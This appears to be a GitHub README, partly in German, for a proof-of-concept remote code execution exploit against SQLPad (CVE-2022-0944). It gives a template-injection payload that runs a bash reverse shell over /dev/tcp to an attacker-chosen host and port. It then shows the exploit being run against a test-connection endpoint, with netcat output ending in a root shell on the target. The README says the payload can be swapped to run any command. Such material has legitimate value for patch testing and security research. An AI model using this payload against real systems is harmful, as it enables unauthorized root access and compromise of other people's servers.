toneillcodes/cve-2022-0944PoC für RCE in SQLPad (CVE-2022-0944)
PoC für RCE in SQLPad.
Dieses Beispiel startet eine Reverse Shell, aber das Payload kann geändert werden, um jeden verfügbaren Befehl auszuführen, indem der Befehl im 'exec'-Aufruf innerhalb des Payloads geändert wird.
payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1"') }}}}"
Python 3
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit gegen Ziel: http://sqlpad.example.com/api/test-connection
[*] Erstelle JSON mit Payload
[*] Sende Anfrage...
[!] Exploit scheint erfolgreich gewesen zu sein.
[*] Fertig.
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#